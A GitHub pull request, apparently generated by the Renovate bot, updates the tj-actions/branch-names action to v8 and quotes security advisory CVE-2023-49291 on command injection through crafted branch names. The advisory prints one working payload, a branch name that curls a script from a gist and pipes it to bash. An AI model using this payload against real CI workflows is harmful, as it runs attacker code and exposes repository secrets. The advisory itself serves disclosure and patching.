chore(deps): update tj-actions/branch-names action to v8 [security] - autoclosed #230
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
This PR contains the following updates:
v7
->v8
GitHub Vulnerability Alerts
CVE-2023-49291
Summary
The
tj-actions/branch-names
GitHub Actions references thegithub.event.pull_request.head.ref
andgithub.head_ref
context variables within a GitHub Actionsrun
step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name.Details
The vulnerable code is within the
action.yml
file therun
step references the value directly, instead of a sanitized variable.An attacker can use a branch name to inject arbitrary code, for example:
Test")${IFS}&&${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash&&echo${IFS}$("foo
will download and run a script from a Gist. This allows an attacker to inject a payload of arbitrary complexity.Impact
An attacker can use this vulnerability to steal secrets from or abuse
GITHUB_TOKEN
permissions.Reference
Release Notes
tj-actions/branch-names (tj-actions/branch-names)
v8
Compare Source
Changes in v8.0.1
What's Changed
Full Changelog: tj-actions/branch-names@v8...v8.0.1
Changes in v8.0.0
Major version to prevent errors with dependabot upgrades.
What's Changed
Full Changelog: tj-actions/branch-names@v7...v8.0.0
Configuration
📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
This PR was generated by Mend Renovate. View the repository job log.